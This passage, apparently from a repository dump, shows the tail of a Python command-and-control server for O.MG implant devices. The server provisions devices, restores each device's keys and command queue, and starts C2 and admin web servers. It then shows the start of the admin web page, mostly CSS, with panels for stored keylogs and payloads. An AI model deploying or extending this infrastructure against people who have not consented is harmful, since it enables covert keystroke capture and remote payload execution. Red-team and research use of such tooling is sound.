self.host_private_key = config_data['host_private_key']\n                    self.host_url = config_data['host_url']\n                    self.host_port = config_data['host_port']\n                    self.admin_port = config_data['admin_port']\n                    self.devices = config_data['devices']\n        except FileNotFoundError:\n            self.devices = []\n            self.host_private_key = gen_random(32).hex()\n            self.host_public_key = mono.compute_key_exchange_public_key(\n                bytes.fromhex(self.host_private_key)).hex()\n            self.save_provision_files()\n        except json.JSONDecodeError:\n            self.devices = []\n\ndef validate_arguments(argv):\n            if (len(argv) - 2) % 4 != 0:\n                return False, \"\\nERROR: Incorrect number of arguments.\\nEach device provision requires 4 arguments: (alias, poll_seconds, fast_seconds, contact_seconds).\\n\"\n            try:\n                for i in range(2, len(argv), 4):\n                    int(argv[i + 1])\n                    int(argv[i + 2])\n                    int(argv[i + 3])\n            except ValueError:\n                return False, \"ERROR: Expected integer values for poll_seconds, fast_seconds, and contact_seconds.\\n\"\n            return True, \"\"\n\n\nrnd.seed()\nwebServer = None\n\nif __name__ == \"__main__\":\n    config = c2config(None, None, ip_address, serverPort, adminPort)\n    the_host = Host(config.host_private_key, config.host_public_key)\n\n    for device in config.devices:\n        client_id = device['client_id']\n        alias = device['alias']\n        client_exchange_key = mono.key_exchange(the_host.host_private_key, bytes.fromhex(device['client_public_key']))\n        client = the_host.ClientData(client_id, alias, client_exchange_key, device['cmd_queue'])\n        the_host.clients[client_id] = client\n\n    config.load_provision_files()\n\n    if len(sys.argv) > 1 and sys.argv[1].lower() == 'provision':\n        valid, error_msg = validate_arguments(sys.argv)\n        if not valid:\n            print(error_msg)\n            print(\"Example usage: python3 ./c2server.py provision cableOne 60 1 300\\nExample usage: python3 ./c2server.py provision cableOne 60 1 300 cableTwo 120 1 600\")\n        else:\n            index = 2\n            while index < len(sys.argv):\n                try:\n                    alias = sys.argv[index]\n                    poll_seconds = int(sys.argv[index + 1])\n                    fast_seconds = int(sys.argv[index + 2])\n                    contact_seconds = int(sys.argv[index + 3])\n                    the_host.provision(alias, poll_seconds, fast_seconds, contact_seconds)\n                    index += 4\n                except (IndexError, ValueError):\n                    print(\"Invalid arguments for provisioning. Expected sets of (alias, poll_seconds, fast_seconds, contact_seconds).\")\n    else:\n        try:\n            secondaryServer = ThreadingHTTPServer((config.host_url, config.admin_port), c2admin)\n            secondaryThread = threading.Thread(target=secondaryServer.serve_forever)\n            secondaryThread.daemon = True\n            secondaryThread.start()\n            print(\"AdminUI server started http://%s:%s\" % (config.host_url, config.admin_port))\n        except OSError as e:\n            print(\"Failed to start the AdminUI server.\")\n            print(e);\n            if 'Address already in use' in str(e):\n                print(f\"Port {config.admin_port} is already in use. Please choose a different port in your c2config.\")\n            elif 'Can\\'t assign requested address' in str(e):\n                print(f\"Cannot assign requested address: {config.host_url}. Please check the host URL in your c2config.\")\n            sys.exit(1)\n\n        try:\n            webServer = HTTPServer((config.host_url, config.host_port), c2server)\n            print(\"C2 server started http://%s:%s\" % (config.host_url, config.host_port))\n            with webServer:\n                webServer.serve_forever()\n        except KeyboardInterrupt:\n            print(\"Server stopped.\")\n        except OSError as e:\n            print(e);\n            print(\"Failed to start the C2 server.\")\n            if 'Address already in use' in str(e):\n                print(f\"Port {config.host_port} is already in use. Please choose a different port in your c2config.\")\n            elif 'Can\\'t assign requested address' in str(e):\n                print(f\"Cannot assign requested address: {config.host_url}. Please check the host URL in your c2config.\")\n            sys.exit(1)\n        finally:\n            if webServer is not None:\n                webServer.server_close()\n                print(\"Server stopped.\")"
  },
  {
    "path": "c2server/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n\t<title>O.MG</title>\n\t<meta charset=\"utf-8\">\n\t<meta name=\"viewport\" content=\"viewport-fit=auto,width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no\">\n\t<meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n\t<meta http-equiv=\"cache-control\" content=\"no-cache\">\n\t<meta http-equiv=\"expires\" content=\"0\">\n\t<meta http-equiv=\"pragma\" content=\"no-cache\">\n\t<link href=\"favicon.ico\" rel=\"shortcut icon\" type=\"image/x-icon\">\n\t<style>\n\t\t:root {\n\t\t\t--bgColor1: hsl(0, 0%, 75%);\n\t\t\t--bgColor2: hsl(0, 0%, 25%);\n\t\t\t--bgColor3: hsl(0, 0%, 10%);\n\t\t\t--watermarkColor: hsla(0, 0%, 15%, .4);\n\t\t\t--navColor: hsl(0, 0%, 100%);\n\t\t\t--fontColor: hsl(0, 0%, 100%);\n\t\t\t--inactiveColor: hsl(0, 0%, 30%);\n\t\t\t--inactiveGradient1: hsl(0, 0%, 25%);\n\t\t\t--inactiveGradient2: hsl(0, 0%, 15%);\n\t\t\t--toggleOnColor: hsl(150, 75%, 30%);\n\t\t\t--toggleOnGradient1: hsl(150, 75%, 40%);\n\t\t\t--toggleOnGradient2: hsl(150, 75%, 50%);\n\t\t\t--sidebarGradient: hsla(0, 0%, 5%, 0.7);\n\t\t\t--accentColor: hsl(0, 0%, 40%);\n\t\t\t--accentGradient1: hsl(0, 0%, 30%);\n\t\t\t--accentGradient2: hsl(0, 0%, 50%)\n\t\t}\n\t\t\n\t\tbody,\n\t\tinput[type=text],\n\t\ttextarea {\n\t\t\tbox-sizing: border-box;\n\t\t\tbackground-color: var(--bgColor2);\n\t\t\tcolor: var(--fontColor);\n\t\t}\n\t\t\n\t\tbody {\n\t\t\t-webkit-margin-before: 0;\n\t\t\t-webkit-margin-end: 0;\n\t\t\t-webkit-margin-after: 0;\n\t\t\t-webkit-margin-start: 0;\n\t\t\t-webkit-padding-before: 0;\n\t\t\t-webkit-padding-end: 0;\n\t\t\t-webkit-padding-after: 0;\n\t\t\t-webkit-padding-start: 0;\n\t\t\twidth: 100%;\n\t\t\theight: calc(100dvh - 200px);\n\t\t\tmargin: 0;\n\t\t\tpadding: 0;\n\t\t}\n\t\t\n\t\tbody {\n\t\t\tflex-direction: column;\n\t\t\tfont-family: Arial, Verdana, Tahoma, serif;\n\t\t\tfont-size: 1rem;\n\t\t\tfont-weight: 400;\n\t\t\trow-gap: 1px;\n\t\t\tscrollbar-width: none;\n\t\t}\n\t\t\n\t\tbody::-webkit-scrollbar{\n\t\t\tdisplay: none;\n\t\t}\n\t\t\n\t\tbutton,\n\t\tbutton:hover {\n\t\t\tbackground: var(--inactiveColor);\n\t\t}\n\t\t\n\t\tbody,\n\t\tbutton {\n\t\t\ttext-align: left;\n\t\t}\n\t\t\n\t\tbutton {\n\t\t\tdisplay: flex;\n\t\t\tflex-grow: 1;\n\t\t\tjustify-content: center;\n\t\t\theight: 44px;\n\t\t\ttext-transform: uppercase;\n\t\t\talign-items: center;\n\t\t\tfont-size: 1em;\n\t\t\tborder: 0;\n\t\t\tfill: var(--fontColor);\n\t\t\tpadding: 10px;\n\t\t\tbackground-image: linear-gradient(to bottom, var(--inactiveGradient1), var(--inactiveGradient2));\n\t\t\tborder-radius: 5px;\n\t\t\t-webkit-appearance: none;\n\t\t}\n\t\t\n\t\tbutton:hover,\n\t\t.buttonSelectedGrey {\n\t\t\tbackground-image: linear-gradient(to bottom, var(--inactiveGradient2), var(--inactiveGradient1));\n\t\t\ttext-decoration: none;\n\t\t}\n\t\t\n\t\t.buttonActivationDelay {\n\t\t\tposition: relative;\n\t\t\tfilter: grayscale(100%);\n\t\t\tcursor: not-allowed;\n\t\t\toverflow: hidden;\n\t\t}\n\t\t\n\t\t.buttonActivationDelay .buttonText {\n\t\t\topacity: 0;\n\t\t\tanimation: showButtonText 5s forwards;\n\t\t}\n\t\t\n\t\t@keyframes showButtonText {\n\t\t\t0% {\n\t\t\t\topacity: 0;\n\t\t\t}\n\t\t\t99% {\n\t\t\t\topacity: 0;\n\t\t\t}\n\t\t\t100% {\n\t\t\t\topacity: 1;\n\t\t\t}\n\t\t}\n\t\t\n\t\t.buttonActivationDelay::before {\n\t\t\tcontent: 'Please wait...';\n\t\t\tposition: absolute;\n\t\t\ttop: 0;\n\t\t\tleft: 0;\n\t\t\twidth: 100%;\n\t\t\theight: 100%;\n\t\t\tbackground: inherit;\n\t\t\tdisplay: flex;\n\t\t\talign-items: center;\n\t\t\tjustify-content: center;\n\t\t\tanimation: hidePlaceholder 5s forwards;\n\t\t}\n\t\t\n\t\t@keyframes hidePlaceholder {\n\t\t\t0% {\n\t\t\t\topacity: 1;\n\t\t\t}\n\t\t\t99% {\n\t\t\t\topacity: 1;\n\t\t\t}\n\t\t\t100% {\n\t\t\t\topacity: 0;\n\t\t\t\tdisplay: none;\n\t\t\t}\n\t\t}\n\t\t\n\t\t.buttonActivationDelay {\n\t\t\tanimation: activateButton 5s forwards;\n\t\t}\n\t\t\n\t\t@keyframes activateButton {\n\t\t\t0% {\n\t\t\t\tfilter: grayscale(100%);\n\t\t\t\tcursor: not-allowed;\n\t\t\t}\n\t\t\t99% {\n\t\t\t\tfilter: grayscale(100%);\n\t\t\t\tcursor: not-allowed;\n\t\t\t}\n\t\t\t100% {\n\t\t\t\tfilter: none;\n\t\t\t\tcursor: pointer;\n\t\t\t}\n\t\t}\n\t\t\n\t\t.buttonActivationDelay::after {\n\t\t\tcontent: '';\n\t\t\tposition: absolute;\n\t\t\tbottom: 0;\n\t\t\tleft: 0;\n\t\t\theight: 4px;\n\t\t\tbackground-color: #00ff00;\n\t\t\twidth: 0%;\n\t\t\tanimation: progressBar 5s linear forwards;\n\t\t}\n\t\t\n\t\t@keyframes progressBar {\n\t\t\tfrom {\n\t\t\t\twidth: 0%;\n\t\t\t}\n\t\t\tto {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\t\t}\n\t\t\n\t\t#contentArea_debug input,\n\t\tcode {\n\t\t\tbackground-color: black;\n\t\t\tbackground-image: url(\"data:image/svg+xml;charset=UTF-8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 40 40'><path style='fill: white;' d='m28,21.8v8.4c0,7-2.8,9.8-9.8,9.8h-8.4c-7,0-9.8-2.8-9.8-9.8v-8.4c0-7,2.8-9.8,9.8-9.8h8.4c7,0,9.8,2.8,9.8,9.8Z'/><path style='fill: lightgrey;' d='m30.2,0h-8.4c-6.9,0-9.7,2.74-9.78,9.5h6.18c8.4,0,12.3,3.9,12.3,12.3v6.18c6.76-.08,9.5-2.88,9.5-9.78v-8.4c0-7-2.8-9.8-9.8-9.8Z'/></svg>\");\n\t\t\tbackground-repeat: no-repeat;\n\t\t\tbackground-position: top 8px right 8px;\n\t\t\tbackground-size: 20px 20px;\n\t\t\tborder-radius: 12px;\n\t\t\tpadding: 8px;\n\t\t\tpadding-left: 16px;\n\t\t\tpadding-right: 36px;\n\t\t}\n\t\t\n\t\tcode {\n\t\t\tfont-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n\t\t\tfont-size: 77.5%;\n\t\t\tcolor: var(--accentGradient2);\n\t\t\tword-wrap: break-word;\n\t\t\tword-break: break-all;\n\t\t\tdisplay: block;\n\t\t\tmargin-top: 10px;\n\t\t\twhite-space: pre-wrap;\n\t\t}\n\t\t\n\t\tcode::after {\n\t\t\tcontent: \"\\a\";\n\t\t\twhite-space: pre;\n\t\t}\n\t\t\n\t\tbutton,\n\t\th1,\n\t\th2 {\n\t\t\tfont-weight: 700;\n\t\t}\n\t\t\n\t\th1 {\n\t\t\tmargin-block-start: 0;\n\t\t\tmargin-block-end: 0;\n\t\t\tmargin-inline-start: 0;\n\t\t\tmargin-inline-end: 0;\n\t\t\tfont-size: 2rem;\n\t\t\tline-height: 1.3;\n\t\t}\n\t\t\n\t\th2 {\n\t\t\ttext-transform: uppercase;\n\t\t\talign-items: center;\n\t\t\ttext-align: left;\n\t\t\tfont-size: 1em;\n\t\t\tpadding-left: 10px;\n\t\t}\n\t\t\n\t\t.bigLabel {\n\t\t\ttext-transform: uppercase;\n\t\t\talign-items: center;\n\t\t\ttext-align: left;\n\t\t\tfont-size: 1em;\n\t\t\tpadding-left: 10px;\n\t\t\tfont-weight: 700;\n\t\t\ttop: -10px;\n\t\t\tposition: relative;\n\t\t\tvertical-align: middle;\n\t\t}\n\t\t\n\t\tinput {\n\t\t\tcolor: var(--fontColor);\n\t\t}\n\t\t\n\t\tinput[type=text],\n\t\ttextarea {\n\t\t\tposition: relative;\n\t\t\tdisplay: inline-block;\n\t\t\tfont-size: medium;\n\t\t\twidth: 200px;\n\t\t}\n\t\t\n\t\tinput[type=radio] {\n\t\t\tposition: relative;\n\t\t\tdisplay: inline-block;\n\t\t\ttop: -3px;\n\t\t}\n\t\t\n\t\t#keylogStorage label,\n\t\t#payloadStorage label,\n\t\t#payloadRun label,\n\t\tlabel {\n\t\t\tposition: relative;\n\t\t\tdisplay: block;\n\t\t\tfont-size: small;\n\t\t\tfont-weight: bold;\n\t\t\tfont-size: 1rem;\n\t\t}\n\t\t\n\t\t#payloadStorage label,\n\t\t#keylogStorage label, \n\t\t#payloadRun label {\n\t\t\tfont-size: 13px;\n\t\t\tfont-weight: normal;\n\t\t}\n\t\t\n\t\ta:active,\n\t\ta:hover,\n\t\ta:link,\n\t\ta:visited,\n\t\tbutton,\n\t\tnav,\n\t\tnav a {\n\t\t\tcolor: var(--navColor);\n\t\t}\n\t\t\n\t\tnav {\n\t\t\tdisplay: flex;\n\t\t\tflex-flow: row;\n\t\t\tjustify-content: space-between;\n\t\t\tbackground-color: var(--accentColor);\n\t\t\tbox-shadow: inset 20px 20px 30px var(--accentGradient1), inset -20px -20px 30px var(--accentGradient2);\n\t\t\theight: 50px;\n\t\t\tpadding-left: .5em;\n\t\t\tmargin-right: 10px;\n\t\t\tpadding-right: 10px;\n\t\t\twidth: calc(100vw - 20px);\n\t\t}\n\t\t\n\t\tnav a {\n\t\t\ttext-decoration: none;\n\t\t\tpadding-top: 2em;\n\t\t\tpadding-bottom: 2em;\n\t\t\tmargin-top: -2em;\n\t\t\tmargin-bottom: -2em;\n\t\t\tpadding-right: 5px;\n\t\t}\n\t\t\n\t\t#navbar-wifiIcon,\n\t\tnav,\n\t\tnav a,\n\t\tnav div,\n\t\tsvg {\n\t\t\tvertical-align: middle;\n\t\t}\n\t\t\n\t\tnav span {\n\t\t\theight: 50px;\n\t\t\tvertical-align: top;\n\t\t}\n\t\t\n\t\t.left-side,\n\t\t.right-side,\n\t\tbody {\n\t\t\tdisplay: flex;\n\t\t\tjustify-content: flex-start;\n\t\t}\n\t\t\n\t\t.left-side>div {\n\t\t\tmargin-right: 0;\n\t\t}\n\t\t\n\t\t.right-side>div {\n\t\t\tmargin-left: auto;\n\t\t}\n\t\t\n\t\t.statusLightActive {\n\t\t\tmargin-left: 10px;\n\t\t\twidth: 10px;\n\t\t\theight: 10px;\n\t\t\tbackground-color: var(--accentColor);\n\t\t\tborder-radius: 50%;\n\t\t\tbox-shadow: 5 5 5 5 var(--inactiveColor);\n\t\t\ttransform: scale(1);\n\t\t\tanimation: pulse 2s infinite;\n\t\t}\n\t\t\n\t\t#navbar-wifiIcon {\n\t\t\tposition: relative;\n\t\t\tleft: 10px;\n\t\t\ttop: 0px;\n\t\t\theight: 40px;\n\t\t\tvisibility: visible;\n\t\t\twidth: 40px;\n\t\t\tpadding-top: 0;\n\t\t}\n\t\t\n\t\t#wifiDetails {\n\t\t\tdisplay: flex;\n\t\t\tflex-direction: column;\n\t\t\tmargin-left: 6px;\n\t\t\tfont-size: 0.7em;\n\t\t\ttext-align: center;\n\t\t\trow-gap: 0px;\n\t\t\tposition: relative;\n\t\t\tleft: -33px;\n\t\t\ttop: 34px;\n\t\t}\n\t\t\n\t\t.networkIn {\n\t\t\tfill: grey;\n\t\t}\n\t\t\n\t\t.networkOut {\n\t\t\tfill: grey;\n\t\t}\n\t\t\n\t\t@keyframes networkpulse {\n\t\t\t0% {\n\t\t\t\tfill: grey;\n\t\t\t}\n\t\t\t50% {\n\t\t\t\tfill: lightgrey;\n\t\t\t}\n\t\t\t100% {\n\t\t\t\tfill: grey;\n\t\t\t}\n\t\t}\n\t\t\n\t\t.networkActive {\n\t\t\tanimation: networkpulse 0.5s;\t\n\t\t}\n\t\t\n\t\t#wifiRTT {\n\t\t\theight: 1em;\n\t\t}\n\t\t\n\t\tsvg {\n\t\t\tfill: var(--navColor);\n\t\t}\n\t\t\n\t\tcontent textarea {\n\t\t\tborder-top: 0;\n\t\t\tborder-bottom: 0;\n\t\t\tborder-right: 0;\n\t\t}\n\t\t\n\t\t#payloadEditorFile {\n\t\t\tposition: absolute;\n\t\t\ttop: 0;\n\t\t\tright: 0;\n\t\t\tmargin-right: 14px;\n\t\t\tbackground-color: rgba(0, 0, 0, .0);\n\t\t\tcolor: #fff;\n\t\t\tz-index: 0;\n\t\t}\n\t\t\n\t\t#contentArea_debug {\n\t\t\tcolor: var(--navColor);\n\t\t}\n\t\t\n\t\t#contentArea_debug input {\n\t\t\tcolor: var(--fontColor);\n\t\t}\n\t\t\n\t\t#footerKeylog,\n\t\t#footerPayload {\n\t\t\tpadding-top: 0;\n\t\t\tposition: relative;\n\t\t\ttop: -5px;\n\t\t}\n\t\t\n\t\t#payloadLoadSelect,\n\t\t#payloadSelect {\n\t\t\tbackground-color: #000;\n\t\t}\n\t\t\n\t\t#helpExamples {\n\t\t\twidth: calc(100% - 10px);\n\t\t}\n\t\t\n\t\t#helpExamples h3 {\n\t\t\tpadding-bottom: 0;\n\t\t\tline-height: 20px;\n\t\t\tmargin-block-end: 0;\n\t\t\tmargin-bottom: 5px;\n\t\t}\n\t\t\n\t\t#helpExamples pre {\n\t\t\tcolor: var(--bgColor1);\n\t\t\tfont-family: Arial, Verdana, Tahoma, serif;\n\t\t\twhite-space: pre-wrap;\n\t\t}\n\t\t\n\t\t#keylogStorage,\n\t\t#payloadStorage,\n\t\t#payloadRun {\n\t\t\tposition: relative;\n\t\t\tpadding-left: 11px;\n\t\t\tpadding-top: 0;\n\t\t\tmargin-top: -2px;\n\t\t\tborder-left-width: 4px;\n\t\t\tborder-left-color: var(--accentGradient1);\n\t\t}\n\t\t\n\t\t#keylogStorage label,\n\t\t#payloadStorage label,\n\t\t#payloadRun label {\n\t\t\ttop: 0;\n\t\t\theight: 2px;\n\t\t\ttext-align: center;\n\t\t}\n\t\t\n\t\t#payloadStorage {\n\t\t\tpadding-top: 7px;\n\t\t}\n\t\t\n\t\t#payloadRun {\n\t\t\tpadding-top: 7px;\n\t\t}\n\t\t\n\t\t#keymap_row1,\n\t\t#keymap_row2,\n\t\t#keymap_row3,\n\t\t#keymap_row4,\n\t\t#keymap_row5,\n\t\t#keymap_row6 {\n\t\t\tdisplay: grid;\n\t\t\tjustify-content: space-between;\n\t\t\theight: 60px;\n\t\t\tgap: 5px;\n\t\t\tpadding: 5px;\n\t\t}\n\t\t\n\t\t#keymap_row1,\n\t\t#keymap_row4 {\n\t\t\tgrid-template-columns: repeat(13, 1fr);\n\t\t}\n\t\t\n\t\t#keymap_row2,\n\t\t#keymap_row3 {\n\t\t\tgrid-template-columns: repeat(14, 1fr);\n\t\t}\n\t\t\n\t\t#keymap_row5 {\n\t\t\tgrid-template-columns: repeat(12, 1fr);\n\t\t}\n\t\t\n\t\t#keymap_row6 {\n\t\t\tgrid-template-columns: repeat(7, 1fr);\n\t\t}\n\t\t\n\t\t#keymapViewer {\n\t\t\tposition: absolute;\n\t\t\tvertical-align: middle;\n\t\t\tfloat: left;\n\t\t\ttop: calc((var(--app-height) - 448px)/2);\n\t\t\twidth: 90vw;\n\t\t\theight: 448px;\n\t\t\tborder-radius: 5px;\n\t\t\tbackground-color: var(--bgColor2);\n\t\t\t-webkit-box-shadow: 5px 5px 15px 5px var(--inactiveGradient2);\n\t\t\tbox-shadow: 5px 5px 15px 5px var(--inactiveGradient2);\n\t\t\tcolor: var(--fontColor);\n\t\t}\n\t\t\n\t\t#keymapViewerLabel {\n\t\t\ttext-align: left;\n\t\t\tcolor: var(--navColor);\n\t\t\tpadding-left: 5px;\n\t\t\tpadding-top: 5px;\n\t\t}\n\t\t\n\t\t#keymapViewerSelect {\n\t\t\twidth: 120px;\n\t\t}\n\t\t\n\t\t#partitionEditor,\n\t\t#partitionApplied {\n\t\t\tposition: absolute;\n\t\t\tvertical-align: middle;\n\t\t\tfloat: left;\n\t\t\twidth: 280px;\n\t\t\theight: auto;\n\t\t\ttop: calc((var(--app-height) - 448px)/2);\n\t\t\tborder-radius: 5px;\n\t\t\tbackground-color: var(--bgColor2);\n\t\t\t-webkit-box-shadow: 5px 5px 15px 5px var(--inactiveGradient2);\n\t\t\tbox-shadow: 5px 5px 15px 5px var(--inactiveGradient2);\n\t\t\tcolor: var(--navColor);\n\t\t\tpadding-left: 5px;\n\t\t\tpadding-top: 5px;\n\t\t}\n\t\t\n\t\t#loadingScreen {\n\t\t\tposition: absolute;\n\t\t\tvertical-align: middle;\n\t\t\ttext-align: center;\n\t\t\tfloat: left;\n\t\t\twidth: 240px;\n\t\t\theight: 160px;\n\t\t\ttop: calc((var(--app-height) - 448px)/2);\n\t\t\tborder-radius: 5px;\n\t\t\tbackground-color: var(--bgColor2);\n\t\t\t-webkit-box-shadow: 5px 5px 15px 5px var(--inactiveGradient2);\n\t\t\tbox-shadow: 5px 5px 15px 5px var(--inactiveGradient2);\n\t\t\tcolor: var(--navColor);\n\t\t\tpadding-left: 5px;\n\t\t\tpadding-top: 5px;\n\t\t}\n\t\t\n\t\t.loader {\n\t\t\tposition: relative;\n\t\t\talign-content: center;\n\t\t\tborder: 16px solid var(--bgColor1);\n\t\t\tborder-top: 16px solid var(--accentColor);\n\t\t\tborder-radius: 50%;\n\t\t\twidth: 80px;\n\t\t\theight: 80px;\n\t\t\tleft: 70px;\n\t\t\ttop: 10px;\n\t\t\tanimation: spin 2s linear infinite;\n\t\t}\n\t\t\n\t\t#logo {\n\t\t\theight: 50px;\n\t\t\tpadding-top: 0;\n\t\t\tbackground-image: url(\"data:image/svg+xml;charset=UTF-8,<svg xmlns='http://www.w3.org/2000/svg' xml:space='preserve' fill='white' viewBox='110 25 82 50'><path d='M139.29 61.07a3 3 0 0 1 2.76 4.14c-.15.36-.37.68-.64.94s-.59.47-.96.64a2.87 2.87 0 0 1-2.32 0 2.96 2.96 0 0 1 0-5.49 3 3 0 0 1 1.16-.23zm8.11-13.77h4.92l3.9 10.28 4.13-10.28h4.97l2.91 19.23h-5l-1.4-11.07h-.05l-4.61 11.07h-1.99l-4.41-11.07h-.05l-1.61 11.07h-4.97l3.26-19.23zm42.13 8.49c-.02.7-.05 1.37-.09 2.03-.04.65-.13 1.3-.27 1.93a10.2 10.2 0 0 1-1.61 3.65 8.3 8.3 0 0 1-3.47 2.88c-1.36.6-2.85.89-4.46.89-1.51 0-2.9-.25-4.16-.74a9.26 9.26 0 0 1-5.34-5.28c-.5-1.24-.75-2.62-.75-4.13 0-1.57.25-2.98.75-4.26a9.27 9.27 0 0 1 5.43-5.36c1.28-.49 2.7-.74 4.25-.74 1.99 0 3.72.45 5.2 1.34s2.64 2.24 3.47 4.04l-4.75 1.99c-.34-.92-.86-1.66-1.57-2.22s-1.57-.85-2.59-.85c-.82 0-1.54.18-2.17.54s-1.15.83-1.57 1.4a6.3 6.3 0 0 0-.94 1.95 7.77 7.77 0 0 0 .01 4.39c.22.72.54 1.36.97 1.93.43.56.96 1.01 1.6 1.37.64.35 1.36.52 2.18.52 1.09 0 2-.28 2.75-.83s1.17-1.39 1.28-2.51h-4.08v-3.93h9.93zm-53.52-16.11c-.62-.72-1.52-1.77-1.51-2.75.01-1.1.7-2.08 1.55-2.7.86-.61 2.26-.77 3.25-1.07l-.03-.07c-1.18-.26-2.41-.36-3.6-.12s-2.33.83-3.12 1.8-1.19 2.32-.9 3.57c.2.88.72 1.65 1.26 2.35.55.7 1.13 1.38 1.52 2.2.39.81.55 1.8.2 2.63-.42.99-1.47 1.54-2.5 1.6-.85.06-1.7-.16-2.52-.42a10.82 10.82 0 0 0-8.54.11c-.71.21-1.44.37-2.18.32-1.02-.07-2.08-.61-2.49-1.6-.35-.83-.19-1.82.2-2.63s.97-1.49 1.52-2.2a6.23 6.23 0 0 0 1.26-2.35c.29-1.24-.11-2.6-.9-3.57s-1.94-1.56-3.12-1.8a8.92 8.92 0 0 0-3.6.12l-.02.07c1 .3 2.39.45 3.25 1.07.86.61 1.54 1.6 1.55 2.7.01.98-.89 2.03-1.51 2.75-.62.73-1.36 1.34-1.94 2.1a6.88 6.88 0 0 0-.56 7.15 6.26 6.26 0 0 0 3.27 2.86 10.87 10.87 0 1 0 19.36.03 6.2 6.2 0 0 0 3.35-2.89 6.86 6.86 0 0 0-.56-7.15c-.58-.77-1.31-1.38-1.94-2.11zm-10.57 23.33a6.36 6.36 0 1 1 0-12.73 6.36 6.36 0 0 1 0 12.73z'/></svg>\");\n\t\t}\n\t\t\n\t\t#ico_settings {\n\t\t\tbackground-image: url(\"data:image/svg+xml;charset=UTF-8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 39.22 40'><path style='fill: white;' d='m34.49,22.11c.1-.67.19-1.34.19-2.11s-.1-1.44-.19-2.11l4.31-3.06c.38-.29.57-.86.29-1.34l-4.21-7.08c-.29-.48-.77-.67-1.24-.38l-4.78,2.2c-1.15-.86-2.3-1.53-3.64-2.11l-.48-5.26c-.1-.48-.48-.86-.96-.86h-8.23c-.48,0-.96.38-.96.86l-.48,5.26c-1.34.57-2.58,1.24-3.64,2.11l-4.78-2.2c-.48-.19-1.05,0-1.24.38L.33,13.49c-.29.48-.1,1.05.29,1.34l4.31,3.06c-.1.67-.19,1.34-.19,2.11s.1,1.44.19,2.11L.43,25.17c-.38.29-.57.86-.29,1.34l4.11,7.08c.29.48.77.67,1.24.38l4.78-2.2c1.15.86,2.3,1.53,3.64,2.11l.48,5.26c.1.48.48.86.96.86h8.23c.48,0,.96-.38.96-.86l.48-5.26c1.34-.57,2.58-1.24,3.64-2.11l4.78,2.2c.48.19,1.05,0,1.24-.38l4.11-7.08c.29-.48.1-1.05-.29-1.34l-4.02-3.06Zm-14.93,7.46c-5.26,0-9.57-4.31-9.57-9.57s4.31-9.57,9.57-9.57,9.57,4.31,9.57,9.57-4.31,9.57-9.57,9.57Z'/><path style='fill: grey;' d='m19.56,8.52c-6.32,0-11.48,5.17-11.48,11.48s5.17,11.48,11.48,11.48,11.48-5.17,11.48-11.48-5.17-11.48-11.48-11.48Zm0,16.27c-2.68,0-4.78-2.11-4.78-4.78s2.11-4.78,4.78-4.78,4.78,2.11,4.78,4.78-2.11,4.78-4.78,4.78Z'/></svg>\");\n\t\t}\n\t\t\n\t\t#ico_about {\n\t\t\tbackground-image: url(\"data:image/svg+xml;charset=UTF-8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 38 40'><path style='fill: white' d='m32,0H6C2.7,0,0,2.7,0,6v34l6-6h26c3.3,0,6-2.7,6-6V6c0-3.3-2.7-6-6-6Zm-11,25h-4v-11h4v11Zm-2-14c-1.1,0-2-.9-2-2s.9-2,2-2,2,.9,2,2-.9,2-2,2Z'/></svg>\");\n\t\t}\n\t\t\n\t\t#ico_help {\n\t\t\tbackground-image: url(\"data:image/svg+xml;charset=UTF-8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 39.99 40'><g><rect style='fill: white' x='30.57' y='24.07' width='4' height='16.98' transform='translate(-13.48 32.57) rotate(-45)'/><circle style='fill: white' cx='15.99' cy='15.99' r='15.99'/></g><rect style='fill: grey' x='32.18' y='28.1' width='4' height='12.29' transform='translate(-14.2 34.2) rotate(-45)'/><circle style='fill: dimgrey' cx='15.99' cy='15.99' r='12.99'/><path style='fill: white' d='m22.88,10.19c-1.7-2-4.2-3.2-6.89-3.2s-5.2,1.2-6.89,3.2c-.4.4-.3,1.1.1,1.4.4.4,1.1.3,1.4-.1,1.4-1.6,3.3-2.5,5.4-2.5s4,.9,5.4,2.5c.2.2.5.4.8.4.2,0,.5-.1.6-.2.4-.4.4-1.1.1-1.5Z'/></svg>\");\n\t\t}\n\t\t\n\t\t#ico_syslog {\n\t\t\tbackground-image: url(\"data:image/svg+xml;charset=UTF-8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 38.39 40' fill='white'><path d='m31.17,0H7.23C3.24,0,0,3.24,0,7.23v19.94c0,3.99,3.24,7.23,7.23,7.24h5.73v2.35h-6.67v3.24h25.82v-3.24h-6.67v-2.35h5.72c3.99,0,7.23-3.24,7.23-7.23V7.23h0c.02-3.99-3.21-7.23-7.21-7.23h-.01Zm3.41,27.19h0c0,1.33-1.08,3.42-2.41,3.42H7.23c-1.33,0-3.41-2.08-3.41-3.41h0v-8.3h12.43l1.04-3.38,4.8,10.9,2.17-7.57h10.32v8.36h0v-.02Zm0-10.76h-12.12l-.84,2.96-4.72-10.72-2.41,7.82H3.82V7.24c0-1.33,2.08-3.41,3.41-3.42h23.94c1.33,0,3.41,2.08,3.41,3.41h0v9.2Z'/></svg>\");\n\t\t}\n\t\t\n\t\t#ico_payload {\n\t\t\tbackground-image: url(\"data:image/svg+xml;charset=UTF-8,<svg xmlns='http://www.w3.org/2000/svg' xml:space='preserve' fill='white' viewBox='0 0 512 512'><path d='M432 448H189c-5-14-15-24-29-29V80c0-4-2-8-5-11L91 5a16 16 0 00-22 22l59 60v332a48 48 0 1061 61h243a16 16 0 000-32zm-288 32a16 16 0 110-32 16 16 0 010 32z'/><path d='M400 256h-64v64h-64v-64h-64c-9 0-16 7-16 16v128l16 16h192c9 0 16-7 16-16V272c0-9-7-16-16-16zM336 128h-48v32h-32v-32h-48c-9 0-16 7-16 16v80h160v-80c0-9-7-16-16-16z'/></svg>\");\n\t\t}\n\t\t\n\t\t#ico_keylog {\n\t\t\tbackground-image: url(\"data:image/svg+xml;charset=UTF-8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 